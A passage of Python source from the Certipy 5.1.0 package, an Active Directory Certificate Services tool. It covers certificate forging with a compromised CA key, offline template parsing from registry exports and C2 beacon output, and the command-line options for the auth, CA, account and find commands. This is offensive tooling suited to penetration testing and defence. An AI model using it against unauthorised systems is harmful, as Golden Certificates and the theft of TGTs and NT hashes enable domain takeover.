# Save PFX to file out_path = self.determine_output_filename(id_type, id_value) logging.info(f"Saving forged certificate and private key to {out_path!r}") out_path = try_to_save_file(pfx, out_path) logging.info(f"Wrote forged certificate and private key to {out_path!r}") def create_self_signed_ca(self) -> None: """ Create a self-signed CA certificate. This method generates a self-signed CA certificate and saves it to the specified output file. """ # Generate new key pair key = generate_rsa_key(self.key_size) # Create self-signed CA certificate subject = x509.Name( [ x509.NameAttribute(x509.NameOID.COMMON_NAME, "Certipy CA"), ] ) if self.subject: subject = get_subject_from_str(self.subject) else: logging.warning("No subject specified, using default: 'Certipy CA'") issuer = subject # Set serial number and validity period serial_number = self.get_serial_number() not_valid_before = datetime.datetime.now( datetime.timezone.utc ) - datetime.timedelta(days=1) not_valid_after = datetime.datetime.now( datetime.timezone.utc ) + datetime.timedelta(days=self.validity_period) # Start building certificate cert_builder = x509.CertificateBuilder() cert_builder = cert_builder.subject_name(subject) cert_builder = cert_builder.issuer_name(issuer) cert_builder = cert_builder.public_key(key.public_key()) cert_builder = cert_builder.serial_number(serial_number) cert_builder = cert_builder.not_valid_before(not_valid_before) cert_builder = cert_builder.not_valid_after(not_valid_after) # Add key identifiers cert_builder = cert_builder.add_extension( x509.AuthorityKeyIdentifier.from_issuer_public_key(key.public_key()), False, ) cert_builder = cert_builder.add_extension( x509.SubjectKeyIdentifier.from_public_key(key.public_key()), False, ) # Sign the certificate signature_hash_alg = hashes.SHA256() certificate = cert_builder.sign(key, signature_hash_alg) # Create PFX pfx_data = create_pfx(key, certificate, self.pfx_password) # Save PFX to file out_path = self.out if out_path is None: out_path = "ca.pfx" if not out_path.endswith(".pfx"): out_path += ".pfx" logging.info(f"Saving self-signed CA certificate to {out_path!r}") out_path = try_to_save_file(pfx_data, out_path) logging.info(f"Wrote self-signed CA certificate to {out_path!r}") def entry(options: argparse.Namespace) -> None: """ Command-line entry point for certificate forgery. Args: options: Command line arguments """ try: # Create and run the forger forge = Forge(**vars(options)) if options.ca_pfx: forge.forge() else: forge.create_self_signed_ca() except Exception as e: logging.error(f"Certificate forgery failed: {e}") handle_error() Certipy-5.1.0/certipy/commands/parse.py000077500000000000000000000553401521657466500201330ustar00rootroot00000000000000""" Certificate Template Parser Module for Certipy. This module provides functionality to parse certificate templates from various sources: - Registry files exported from Windows systems (.reg format) - Beacon Object Files (BOF) output containing certificate template data The parsed templates can then be analyzed using the same functionality as the `find` command, allowing offline analysis of certificate templates and their security settings. """ import argparse import re from enum import Enum from pathlib import Path from typing import Iterator, List, Optional from certipy.commands import find from certipy.lib.bloodhound import BloodHound from certipy.lib.errors import handle_error from certipy.lib.logger import logging from certipy.lib.registry import RegConnection, RegEntry from certipy.lib.target import DnsResolver, Target class ParserType(Enum): """Supported parser types for certificate template data.""" BOF = "bof" # Beacon Object File output REG = "reg" # Windows Registry export file OC2_BOF = "oc2_bof" # Outflank C2 reg query output class Parse(find.Find): """ Base parser class for certificate templates. This class extends the Find functionality to work with offline template data, allowing analysis of certificate templates without direct access to AD. """ def __init__( self, domain: str = "UNKNOWN", ca: str = "UNKNOWN", sids: List[str] = [], published: List[str] = [], bloodhound: Optional[BloodHound] = None, **kwargs, # type: ignore ): """ Initialize the certificate template parser. Args: domain: Domain name for the templates (default: UNKNOWN) ca: Certificate Authority name (default: UNKNOWN) sids: List of SIDs to resolve in ACLs published: List of templates published by the CA kwargs: Additional arguments to pass to Find base class """ # Set up for offline analysis target = Target( DnsResolver.create(), domain=domain, username="unknown", target_ip="unknown", ) super().__init__(target, dc_only=True, **kwargs) # Store instance variables self.domain = domain self.ca = ca self.sids = sids self.published = published self.file = None self.bloodhound = bloodhound # Mappings between registry keys and LDAP attribute names self.mappings = { "DisplayName": "displayName", "ValidityPeriod": "pKIExpirationPeriod", "RenewalOverlap": "pKIOverlapPeriod", "ExtKeyUsageSyntax": "pKIExtendedKeyUsage", "Security": "nTSecurityDescriptor", # Maps common registry names to their corresponding LDAP attributes } @property def connection(self) -> RegConnection: # type: ignore """ Get or create a registry connection for SID resolution. Returns: RegConnection object for SID resolution """ if self._connection is not None: return self._connection self._connection: Optional[RegConnection] = RegConnection( self.domain, self.sids, bloodhound=self.bloodhound ) return self._connection def get_issuance_policies(self) -> List[RegEntry]: # type: ignore """ Get certificate issuance policies. Returns: Empty list (not implemented for offline analysis) """ return [] def get_certificate_authorities(self) -> List[RegEntry]: # type: ignore """ Get certificate authorities. Creates a mock CA entry with the provided templates for analysis. Returns: List containing a single mock CA RegEntry if templates are published, otherwise an empty list """ if not self.published: return [] # Create a mock CA entry with the published templates ca = RegEntry( **{ "attributes": { "cn": "Unknown", "name": self.ca, "dNSHostName": "localhost", "cACertificateDN": "Unknown", "cACertificate": None, "certificateTemplates": self.published, "objectGUID": "Unknown", } } ) return [ca] def parse(self, file: str) -> None: """ Parse certificate templates from a file. Args: file: Path to the file containing template data """ self.file = file # Ensure the file exists file_path = Path(file) if not file_path.exists(): logging.error(f"File not found: {file}") return logging.info(f"Parsing templates from {file}") # Use the find functionality to analyze the parsed templates self.find() class ParseBof(Parse): """ Parser for certificate templates from BOF output. This parser handles output from Beacon Object Files that dump registry certificate template information. """ def get_certificate_templates(self) -> List[RegEntry]: # type: ignore """ Parse certificate templates from BOF output. Returns: List of RegEntry objects representing certificate templates """ templates = [] if self.file is None: raise ValueError("File not set for parsing") try: with open(self.file, "r", encoding="utf-8") as f: contents = f.read() # Remove timestamp headers from BOF output data = re.sub( r"\n\n\d{2}\/\d{2} (\d{2}:){2}\d{2} UTC \[output\]\nreceived output:\n", "", contents, ) lines = iter(data.splitlines()) template = None pending_line = None registry_key_prefix = "HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Cryptography\\CertificateTemplateCache\\" # Process each line while True: try: line = pending_line if pending_line is not None else next(lines) pending_line = None # Start of a new template if registry_key_prefix in line: if template is not None: templates.append(template) # Initialize new template with name from registry key template = RegEntry() parts = line.split("\\") template_name = parts[-1] template.set("cn", template_name) template.set("name", template_name) template.set("objectGUID", template_name) continue # Process registry values if line.startswith("\t"): line = line.strip() parts = re.split(r"\s+", line, maxsplit=2) if len(parts) < 2: continue name = parts[0] datatype = parts[1] # Process different registry value types if datatype == "REG_DWORD": data = int(line.split("REG_DWORD")[1].strip()) elif datatype == "REG_SZ": data = line.split("REG_SZ")[1].strip() elif datatype == "REG_MULTI_SZ": data = line.split("REG_MULTI_SZ")[1].strip() data = [] if data == "" else data.split("\\0") elif datatype == "REG_BINARY": data = [] # Binary data may span multiple lines while True: try: next_line = next(lines) if not next_line.startswith(" "): # Save for next iteration pending_line = next_line break else: data.extend( re.split(r"\s+", next_line.strip()) ) except StopIteration: break # Convert hex strings to bytes data = bytes.fromhex("".join(data)) else: logging.debug(f"Unknown value type: {datatype}") continue # Map registry names to LDAP attributes if applicable if name in self.mappings: name = self.mappings[name] # Set the attribute in the template if template is not None: template.set(name, data) except StopIteration: break except Exception as e: logging.debug(f"Error parsing line: {e}") continue # Add the last template if template is not None: templates.append(template) except Exception as e: logging.error(f"Error parsing BOF file: {e}") handle_error() return [] logging.info(f"Parsed {len(templates)} templates from BOF output") return templates class ParseOC2Bof(Parse): """ Parser for certificate templates from OutflankC2's `reg query` output. Obtain the output with `reg query -r "HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Cryptography\\CertificateTemplateCache` """ def get_certificate_templates(self) -> List[RegEntry]: # type: ignore """ Parse certificate templates from BOF output. Returns: List of RegEntry objects representing certificate templates """ templates = [] if self.file is None: raise ValueError("File not set for parsing") try: with open(self.file, "r", encoding="utf-8") as f: lines = iter(f.readlines()) template = None pending_line = None name = None datatype = None registry_key_prefix = "HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Cryptography\\CertificateTemplateCache\\" offset = 11 # Process each line while True: try: line = pending_line if pending_line is not None else next(lines) pending_line = None # Start of a new template if registry_key_prefix in line: if template is not None: templates.append(template) # Initialize new template with name from registry key template = RegEntry() name = None datatype = None parts = line.split("\\") template_name = parts[-1] template.set("cn", template_name) template.set("name", template_name) template.set( "enabled", True ) # Enabled by default since this info is not available template.set( "cas", ["UNKNOWN"] ) # Unknown certificate authority (if any) template.set("objectGUID", template_name) continue # Process registry values if line.startswith("Reg Value"): name = line[offset:-1] elif line.startswith("Reg Type"): datatype = line[offset:-1] elif line.startswith("Reg Data"): data = line[offset:-1].strip() assert name is not None assert datatype is not None # Process different registry value types if datatype == "REG_DWORD": data = int(data, 16) elif datatype == "REG_SZ": # Nothing to do here, since data is already a string pass elif datatype == "REG_MULTI_SZ": # The reg query bof does not correctly encode REG_MULTI_SZ, since \0 is replaced by spaces. # We need to guess based on the key how we should split. # But for most keys, splitting by ' ' is fine. # An exception is SupportedCSPs, but this key is not interpreted by regcertipy data = [] if data == "" else data.split(" ") elif datatype == "REG_BINARY": data = bytes.fromhex(data) else: logging.debug(f"Unknown value type: {datatype}") continue # Map registry names to LDAP attributes if applicable if name in self.mappings: name = self.mappings[name] # Set the attribute in the template if template is not None: template.set(name, data) except StopIteration: break except Exception as e: logging.debug(f"Error parsing line: {e}") continue # Add the last template if template is not None: templates.append(template) except Exception as e: logging.error(f"Error parsing OC2 BOF file: {e}") handle_error() return [] logging.info(f"Parsed {len(templates)} templates from BOF output") return templates class ParseReg(Parse): """ Parser for certificate templates from Windows Registry export files. This parser handles .reg files exported from Windows containing certificate template information. """ def get_certificate_templates(self) -> List[RegEntry]: # type: ignore """ Parse certificate templates from a .reg file. Returns: List of RegEntry objects representing certificate templates """ templates = [] if self.file is None: raise ValueError("File not set for parsing") try: with open(self.file, "r", encoding="utf-16-le", newline="\r\n") as f: # Verify it's a registry file firstline = f.readline() if "Windows Registry Editor Version" not in firstline: raise ValueError( "Unexpected file format, Windows registry file expected" ) data = f.read() lines = iter(data.splitlines()) template = None registry_key_prefix = "[HKEY_USERS\\.DEFAULT\\Software\\Microsoft\\Cryptography\\CertificateTemplateCache\\" # Process each line for line in lines: try: # Start of a new template if line.startswith(registry_key_prefix): if template is not None: templates.append(template) # Initialize new template with name from registry key template = RegEntry() parts = line[1:-1].split("\\") template_name = parts[-1] template.set("cn", template_name) template.set("name", template_name) template.set("objectGUID", template_name) continue # Process registry values if line.startswith('"'): line = line.strip() key_value = line.split("=", 1) if len(key_value) < 2: continue name = key_value[0][1:-1] # Remove quotes raw_data = key_value[1] # Process different registry value types if raw_data.startswith('"'): # REG_SZ data = raw_data[1:-1] elif raw_data.startswith("dword:"): # REG_DWORD data = int("0x" + raw_data[6:], 16) # Handle signed values data = data if data < 2**31 else data - 2**32 elif raw_data.startswith("hex:"): # REG_BINARY data = self._parse_hex_data(raw_data[4:], lines) elif raw_data.startswith("hex(7):"): # REG_MULTI_SZ hex_data = self._parse_hex_data(raw_data[7:], lines) data = hex_data.decode("utf-16le").rstrip("\x00") data = [] if data == "" else data.split("\x00") else: logging.debug(f"Unknown value type: {raw_data}") continue # Map registry names to LDAP attributes if applicable if name in self.mappings: name = self.mappings[name] # Set the attribute in the template if template is not None: template.set(name, data) except Exception as e: logging.debug(f"Error parsing line: {e}") continue # Add the last template if template is not None: templates.append(template) except Exception as e: logging.error(f"Error parsing registry file: {e}") handle_error() return [] logging.info(f"Parsed {len(templates)} templates from registry file") return templates def _parse_hex_data(self, initial_data: str, lines_iter: Iterator[str]) -> bytes: """ Parse hex data that might span multiple lines. Args: initial_data: The initial hex data string lines_iter: Iterator for the file lines Returns: Bytes object containing the parsed hex data """ values = [] data = initial_data # Process hex data that can span multiple lines (indicated by trailing backslash) while True: values.extend(data.replace(",\\", "").split(",")) if not data.endswith("\\"): break try: data = next(lines_iter).strip() except StopIteration: break return bytes.fromhex("".join(values)) def get_parser( parser_type: ParserType, domain: str, ca: str, sids: List[str], published: List[str], **kwargs, # type: ignore ) -> Parse: """ Factory function to get the appropriate parser. Args: parser_type: Type of parser to create domain: Domain name ca: CA name sids: List of SIDs published: List of published templates kwargs: Additional arguments Returns: Appropriate parser instance Raises: ValueError: If an unsupported parser type is provided """ if parser_type == ParserType.BOF: return ParseBof(domain, ca, sids, published, **kwargs) elif parser_type == ParserType.OC2_BOF: return ParseOC2Bof(domain, ca, sids, published, **kwargs) elif parser_type == ParserType.REG: return ParseReg(domain, ca, sids, published, **kwargs) else: raise ValueError(f"Unsupported parser type: {parser_type}") def entry(options: argparse.Namespace) -> None: """ Command-line entry point for the parse functionality. Args: options: Command line arguments """ # Extract and remove parse-specific options domain = options.domain ca = options.ca sids = options.sids or [] published = options.published or [] file_path = options.file parser_format = options.format.lower() if options.neo4j_user and options.neo4j_pass: bloodhound = BloodHound( options.neo4j_user, options.neo4j_pass, options.neo4j_host, options.neo4j_port, ) if options.use_owned_sids: sids = list(bloodhound.get_owned_sids()) else: bloodhound = None # Remove processed options for opt in ["domain", "ca", "sids", "published", "file", "format"]: options.__delattr__(opt) # Validate input file if not file_path or not Path(file_path).exists(): logging.error(f"Input file not found: {file_path}") return try: # Create and use the appropriate parser parser_type = ParserType(parser_format) parser = get_parser( parser_type=parser_type, domain=domain, ca=ca, sids=sids, published=published, bloodhound=bloodhound, **vars(options), ) parser.parse(file_path) except ValueError as e: logging.error(f"Error: {e}") logging.error( f"Supported parser formats: {', '.join([p.value for p in ParserType])}" ) except Exception as e: logging.error(f"Parse failed: {e}") handle_error() Certipy-5.1.0/certipy/commands/parsers/000077500000000000000000000000001521657466500201145ustar00rootroot00000000000000Certipy-5.1.0/certipy/commands/parsers/__init__.py000077500000000000000000000003441521657466500222310ustar00rootroot00000000000000from . import account, auth, ca, cert, find, forge, parse, relay, req, shadow, template ENTRY_PARSERS = [ account, auth, ca, cert, find, parse, forge, relay, req, shadow, template, ] Certipy-5.1.0/certipy/commands/parsers/account.py000077500000000000000000000073341521657466500221340ustar00rootroot00000000000000""" Parser for Active Directory account management command. This module defines the command-line interface for the 'account' command, which allows creating, reading, updating, and deleting user and computer accounts in Active Directory. """ import argparse from typing import Callable, Tuple from . import target # Command name identifier NAME = "account" def entry(options: argparse.Namespace) -> None: """ Entry point for the account management command. This function imports and calls the actual implementation of the account command from the certipy.commands module. Args: options: Parsed command-line arguments """ from certipy.commands import account account.entry(options) def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore """ Add the account management command subparser to the main parser. This function creates and configures a subparser for managing Active Directory accounts, including options for creating, reading, updating, and deleting user and computer accounts. Args: subparsers: Parent parser to attach the subparser to Returns: Tuple of (command_name, entry_function) for command registration """ # Create the account subparser with description subparser = subparsers.add_parser( NAME, help="Manage user and machine accounts", description=( "Create, read, update, and delete Active Directory user and computer accounts. " "This command allows manipulating account properties including DNS names, " "service principal names (SPNs), and passwords." ), ) # Main action argument subparser.add_argument( "account_action", choices=["create", "read", "update", "delete"], help=( "Action to perform: " "create (new account), " "read (view account properties), " "update (modify existing account), " "delete (remove account)" ), ) # Target account options target_group = subparser.add_argument_group("target options") target_group.add_argument( "-user", action="store", metavar="SAM Account Name", help="Logon name for the account to target", required=True, ) target_group.add_argument( "-group", action="store", metavar="CN=Computers,DC=test,DC=local", help=( "Group to which the account will be added. " "If omitted, CN=Computers, will be used" ), ) # Account attribute options attr_group = subparser.add_argument_group("attribute options") attr_group.add_argument( "-dns", action="store", metavar="hostname", help="Set the DNS hostname for the account (e.g., computer.domain.local)", ) attr_group.add_argument( "-upn", action="store", metavar="principal name", help="Set the User Principal Name for the account (e.g., user@domain.local)", ) attr_group.add_argument( "-sam", action="store", metavar="account name", help="Set the SAM Account Name for the account (e.g., computer$ or username)", ) attr_group.add_argument( "-spns", action="store", metavar="service names", help="Set the Service Principal Names for the account (comma-separated)", ) attr_group.add_argument( "-pass", action="store", dest="passw", metavar="password", help="Set the password for the account", ) # Add standard target arguments from shared module target.add_argument_group(subparser) return NAME, entry Certipy-5.1.0/certipy/commands/parsers/auth.py000077500000000000000000000116001521657466500214300ustar00rootroot00000000000000""" Parser for certificate authentication command. This module defines the command-line interface for the 'auth' command, which allows authentication to Active Directory services using certificates and retrieving Kerberos tickets or NT hashes. """ import argparse from typing import Callable, Tuple # Command name identifier NAME = "auth" def entry(options: argparse.Namespace) -> None: """ Entry point for the auth command. This function imports and calls the actual implementation of the auth command from the certipy.commands module. Args: options: Parsed command-line arguments """ from certipy.commands import auth auth.entry(options) def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore """ Add the certificate authentication command subparser to the main parser. This function creates and configures a subparser for authenticating with certificates to Active Directory services, including options for retrieving Kerberos tickets and establishing LDAP connections. Args: subparsers: Parent parser to attach the subparser to Returns: Tuple of (command_name, entry_function) for command registration """ # Create the auth subparser with description subparser = subparsers.add_parser( NAME, help="Authenticate using certificates", description=( "Authenticate to Active Directory services using certificates. " "This command enables certificate-based authentication to obtain " "Kerberos tickets, NT hashes, or establish LDAP connections." ), ) # Certificate options cert_group = subparser.add_argument_group("certificate options") cert_group.add_argument( "-pfx", action="store", metavar="pfx/p12 file name", help="Path to certificate and private key (PFX/P12 format)", required=True, ) cert_group.add_argument( "-password", action="store", metavar="password", help="Password for the PFX/P12 file", ) # Output options output_group = subparser.add_argument_group("output options") output_group.add_argument( "-no-save", action="store_true", help="Don't save Kerberos TGT to file" ) output_group.add_argument( "-no-hash", action="store_true", help="Don't request NT hash from Kerberos" ) output_group.add_argument( "-print", action="store_true", help="Print Kerberos TGT in Kirbi format to console", ) output_group.add_argument( "-kirbi", action="store_true", help="Save Kerberos TGT in Kirbi format (default is ccache)", ) # Connection options conn_group = subparser.add_argument_group("connection options") conn_group.add_argument( "-dc-ip", action="store", metavar="ip address", help=( "IP Address of the domain controller. If omitted, it will use the domain " "part (FQDN) specified in the target parameter" ), ) conn_group.add_argument( "-ns", action="store", metavar="nameserver", help="Nameserver for DNS resolution", ) conn_group.add_argument( "-dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries" ) conn_group.add_argument( "-timeout", action="store", metavar="seconds", help="Timeout for connections in seconds", default=5, type=int, ) # Authentication options auth_group = subparser.add_argument_group("authentication options") auth_group.add_argument( "-username", action="store", metavar="username", help="Username to authenticate as (extracted from certificate if omitted)", ) auth_group.add_argument( "-domain", action="store", metavar="domain", help="Domain name to authenticate to (extracted from certificate if omitted)", ) auth_group.add_argument( "-ldap-shell", action="store_true", help="Authenticate with the certificate via Schannel against LDAP", ) # LDAP Options Group ldap_group = subparser.add_argument_group("ldap options") _ = ldap_group.add_argument( "-ldap-scheme", action="store", metavar="ldap scheme", choices=["ldap", "ldaps"], default="ldaps", help="LDAP connection scheme to use (default: ldaps)", ) _ = ldap_group.add_argument( "-ldap-port", action="store", metavar="port", type=int, help="Port for LDAP communication (default: 636 for ldaps, 389 for ldap)", ) _ = ldap_group.add_argument( "-ldap-user-dn", action="store", metavar="dn", help="Distinguished Name of target account for LDAP authentication", ) return NAME, entry Certipy-5.1.0/certipy/commands/parsers/ca.py000077500000000000000000000113221521657466500210530ustar00rootroot00000000000000""" Parser for Certificate Authority management command. This module defines the command-line interface for the 'ca' command, which allows managing Certificate Authority configurations, templates, certificate requests, and role assignments in Active Directory. """ import argparse from typing import Callable, Tuple from . import target # Command name identifier NAME = "ca" def entry(options: argparse.Namespace) -> None: """ Entry point for the CA management command. This function imports and calls the actual implementation of the CA command from the certipy.commands module. Args: options: Parsed command-line arguments """ from certipy.commands import ca ca.entry(options) def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore """ Add the Certificate Authority management command subparser to the main parser. This function creates and configures a subparser for managing Certificate Authorities in Active Directory, including template management, request processing, permission assignments, and CA backup operations. Args: subparsers: Parent parser to attach the subparser to Returns: Tuple of (command_name, entry_function) for command registration """ # Create the CA subparser with description subparser = subparsers.add_parser( NAME, help="Manage CA and certificates", description=( "Manage Certificate Authority configurations, templates, and permissions. " "This command allows enabling/disabling templates, processing certificate " "requests, managing role assignments, and backing up CA certificates." ), ) # CA identification subparser.add_argument( "-ca", action="store", metavar="certificate authority name", help="Name of the Certificate Authority to manage", ) # Certificate template management options template_group = subparser.add_argument_group("certificate template options") template_group.add_argument( "-enable-template", action="store", metavar="template name", help="Enable a certificate template on the CA", ) template_group.add_argument( "-disable-template", action="store", metavar="template name", help="Disable a certificate template on the CA", ) template_group.add_argument( "-list-templates", action="store_true", help="List all enabled certificate templates on the CA", ) # Certificate request processing options request_group = subparser.add_argument_group("certificate request options") request_group.add_argument( "-issue-request", action="store", metavar="request ID", help="Issue a pending or failed certificate request", ) request_group.add_argument( "-deny-request", action="store", metavar="request ID", help="Deny a pending certificate request", ) # Certificate officer management officer_group = subparser.add_argument_group("officer options") officer_group.add_argument( "-add-officer", action="store", metavar="officer", help="Add a new officer (Certificate Manager) to the CA", ) officer_group.add_argument( "-remove-officer", action="store", metavar="officer", help="Remove an existing officer (Certificate Manager) from the CA", ) # CA manager role management manager_group = subparser.add_argument_group("manager options") manager_group.add_argument( "-add-manager", action="store", metavar="manager", help="Add a new manager (CA Manager) to the CA", ) manager_group.add_argument( "-remove-manager", action="store", metavar="manager", help="Remove an existing manager (CA Manager) from the CA", ) # Backup operations backup_group = subparser.add_argument_group("backup options") backup_group.add_argument( "-backup", action="store_true", help="Backup CA certificate and private key", ) backup_group.add_argument( "-config", action="store", metavar="Machine\\CA", help="CA configuration string in format Machine\\CAName", ) # Connection options conn_group = subparser.add_argument_group("connection options") conn_group.add_argument( "-dynamic-endpoint", action="store_true", help="Prefer dynamic TCP endpoint over named pipe", ) # Add standard target arguments from shared module target.add_argument_group(subparser, connection_options=conn_group) return NAME, entry Certipy-5.1.0/certipy/commands/parsers/cert.py000077500000000000000000000063611521657466500214340ustar00rootroot00000000000000""" Parser for certificate manipulation command. This module defines the command-line interface for the 'cert' command, which allows managing certificates and private keys, including importing, exporting, and converting between different formats. """ import argparse from typing import Callable, Tuple # Command name identifier NAME = "cert" def entry(options: argparse.Namespace) -> None: """ Entry point for the cert command. This function imports and calls the actual implementation of the cert command from the certipy.commands module. Args: options: Parsed command-line arguments """ from certipy.commands import cert cert.entry(options) def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore """ Add the certificate management command subparser to the main parser. This function creates and configures a subparser for managing certificates and private keys, including options for importing from various formats, exporting to PFX, and manipulating certificate components. Args: subparsers: Parent parser to attach the subparser to Returns: Tuple of (command_name, entry_function) for command registration """ # Create the cert subparser with description subparser = subparsers.add_parser( NAME, help="Manage certificates and private keys", description=( "Import, export, and manipulate certificates and private keys locally. " "This command supports various operations like converting between formats, " "extracting components, and creating PFX files." ), ) # Input options group input_group = subparser.add_argument_group("input options") input_group.add_argument( "-pfx", action="store", metavar="infile", help="Load certificate and private key from PFX/P12 file", ) input_group.add_argument( "-password", action="store", metavar="password", help="Password for the input PFX/P12 file", ) input_group.add_argument( "-key", action="store", metavar="infile", help="Load private key from PEM or DER file", ) input_group.add_argument( "-cert", action="store", metavar="infile", help="Load certificate from PEM or DER file", ) # Output options group output_group = subparser.add_argument_group("output options") output_group.add_argument( "-export", action="store_true", help="Export to PFX/P12 file (default format)" ) output_group.add_argument( "-out", action="store", metavar="outfile", help="Output filename for the exported certificate/key", ) output_group.add_argument( "-nocert", action="store_true", help="Don't include certificate in output (key only)", ) output_group.add_argument( "-nokey", action="store_true", help="Don't include private key in output (certificate only)", ) output_group.add_argument( "-export-password", action="store", metavar="password", help="Password to protect the output PFX/P12 file", ) return NAME, entry Certipy-5.1.0/certipy/commands/parsers/find.py000077500000000000000000000101251521657466500214100ustar00rootroot00000000000000""" Parser for AD CS enumeration command. This module defines the command-line interface for the 'find' command, which allows enumerating and analyzing Active Directory Certificate Services components and configurations to identify security vulnerabilities. """ import argparse from typing import Callable, Tuple from . import target # Command name identifier NAME = "find" def entry(options: argparse.Namespace) -> None: """ Entry point for the find command. This function imports and calls the actual implementation of the find command from the certipy.commands module. Args: options: Parsed command-line arguments """ from certipy.commands import find find.entry(options) def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore """ Add the AD CS enumeration command subparser to the main parser. This function creates and configures a subparser for finding and analyzing Active Directory Certificate Services components, including certificate templates, enrollment services, and CA configurations. Args: subparsers: Parent parser to attach the subparser to Returns: Tuple of (command_name, entry_function) for command registration """ # Create the find subparser with description subparser = subparsers.add_parser( NAME, help="Enumerate AD CS", description=( "Discover and analyze Active Directory Certificate Services (AD CS) components. " "This command identifies vulnerable certificate templates, security misconfigurations, " "and potential certificate-based privilege escalation paths." ), ) # Output options group output_group = subparser.add_argument_group("output options") output_group.add_argument( "-text", action="store_true", help="Output result as formatted text file", ) output_group.add_argument( "-stdout", action="store_true", help="Output result as text directly to console", ) output_group.add_argument( "-json", action="store_true", help="Output result as JSON", ) output_group.add_argument( "-csv", action="store_true", help="Output result as CSV", ) output_group.add_argument( "-output", action="store", metavar="prefix", help="Filename prefix for writing results to", ) # Find options group find_group = subparser.add_argument_group("find options") find_group.add_argument( "-enabled", action="store_true", help="Show only enabled certificate templates", ) find_group.add_argument( "-dc-only", action="store_true", help=( "Collects data only from the domain controller. Will not try to retrieve " "CA security/configuration or check for Web Enrollment" ), ) find_group.add_argument( "-vulnerable", action="store_true", help="Show only vulnerable certificate templates based on nested group memberships", ) find_group.add_argument( "-oids", action="store_true", help="Show OIDs (Issuance Policies) and their properties", ) find_group.add_argument( "-hide-admins", action="store_true", help="Don't show administrator permissions for -text, -stdout, -json, and -csv", ) # Identity options for cross-domain operation identity_group = subparser.add_argument_group("identity options") identity_group.add_argument( "-sid", action="store", metavar="object sid", help="SID of the user provided in the command line. Useful for cross domain authentication", ) identity_group.add_argument( "-dn", action="store", metavar="distinguished name", help="Distinguished name of the user provided in the command line. Useful for cross domain authentication", ) # Add standard target arguments from shared module target.add_argument_group(subparser) return NAME, entry Certipy-5.1.0/certipy/commands/parsers/forge.py000077500000000000000000000126141521657466500215770ustar00rootroot00000000000000""" Parser for certificate forging command. This module defines the command-line interface for the 'forge' command, which allows creating custom certificates by forging them with a compromised CA certificate. """ import argparse from typing import Callable, Tuple # Command name identifier NAME = "forge" def entry(options: argparse.Namespace) -> None: """ Entry point for the forge command. This function imports and calls the actual implementation of the forge command from the certipy.commands module. Args: options: Parsed command-line arguments """ from certipy.commands import forge forge.entry(options) def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore """ Add the certificate forging command subparser to the main parser. This function creates and configures a subparser for forging certificates with a compromised CA certificate, allowing creation of Golden Certificates that can be used for authentication and privilege escalation. Args: subparsers: Parent parser to attach the subparser to Returns: Tuple of (command_name, entry_function) for command registration """ # Create the forge subparser with description subparser = subparsers.add_parser( NAME, help="Create Golden Certificates or self-signed certificates", description=( "Forge certificates using a compromised CA certificate or generate a self-signed CA. " "This allows creating certificates for any identity in the domain or creating standalone certificate chains." ), ) # CA certificate (optional, if not specified a self-signed root CA will be generated) subparser.add_argument( "-ca-pfx", action="store", metavar="pfx/p12 file name", help="Path to CA certificate and private key (PFX/P12 format). If not specified, a self-signed root CA will be generated", ) # CA certificate password subparser.add_argument( "-ca-password", action="store", metavar="password", help="Password for the CA PFX file", ) # Subject Alternative Name options san_group = subparser.add_argument_group("subject alternative name options") san_group.add_argument( "-upn", action="store", metavar="alternative UPN", help="User Principal Name to include in the Subject Alternative Name", ) san_group.add_argument( "-dns", action="store", metavar="alternative DNS", help="DNS name to include in the Subject Alternative Name", ) san_group.add_argument( "-sid", action="store", metavar="alternative Object SID", help="Object SID to include in the Subject Alternative Name", ) san_group.add_argument( "-subject", action="store", metavar="subject", help="Subject to include in certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL", ) # Certificate content options cert_group = subparser.add_argument_group("certificate content options") cert_group.add_argument( "-template", action="store", metavar="pfx/p12 file name", help="Path to template certificate to clone properties from", ) cert_group.add_argument( "-issuer", action="store", metavar="issuer", help="Issuer to include in certificate. If not specified, the issuer from the CA cert will be used", ) cert_group.add_argument( "-crl", action="store", metavar="ldap path", help="LDAP path to a CRL distribution point", ) cert_group.add_argument( "-serial", action="store", metavar="serial number", help="Custom serial number for the certificate", ) # Advanced certificate options cert_group.add_argument( "-application-policies", action="store", nargs="+", metavar="Application Policy", help="Specify application policies for the certificate request using OIDs (e.g., '1.3.6.1.4.1.311.10.3.4' or 'Client Authentication')", ) cert_group.add_argument( "-smime", action="store", metavar="encryption algorithm", help="Specify SMIME Extension that gets added to CSR (e.g., des, rc4, 3des, aes128, aes192, aes256)", ) # Key options key_group = subparser.add_argument_group("key options") key_group.add_argument( "-key-size", action="store", metavar="RSA key length", help="Length of RSA key (default: 2048)", default=2048, type=int, ) # Validity options validity_group = subparser.add_argument_group("validity options") validity_group.add_argument( "-validity-period", action="store", metavar="days", help="Validity period in days (default: 365)", default=365, type=int, ) # Output options output_group = subparser.add_argument_group("output options") output_group.add_argument( "-out", action="store", metavar="output file name", help="Path to save the forged certificate and private key (PFX format)", ) output_group.add_argument( "-pfx-password", action="store", metavar="password", help="Password to protect the output PFX file", ) return NAME, entry Certipy-5.1.0/certipy/commands/parsers/parse.py000077500000000000000000000117731521657466500216140ustar00rootroot00000000000000""" Parser for certificate template offline analyzer command. This module defines the command-line interface for the 'parse' command, which enables offline analysis of AD CS certificate templates from registry data exported from domain controllers. """ import argparse from typing import Callable, Tuple # Command name identifier NAME = "parse" def entry(options: argparse.Namespace) -> None: """ Entry point for the parse command. This function imports and calls the actual implementation of the parse command from the certipy.commands module. Args: options: Parsed command-line arguments """ from certipy.commands import parse parse.entry(options) def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: # type: ignore """ Add the parse command subparser to the main parser. This function creates and configures a subparser for analyzing AD CS certificate templates from registry data, allowing offline enumeration of potentially vulnerable templates. Args: subparsers: Parent parser to attach the subparser 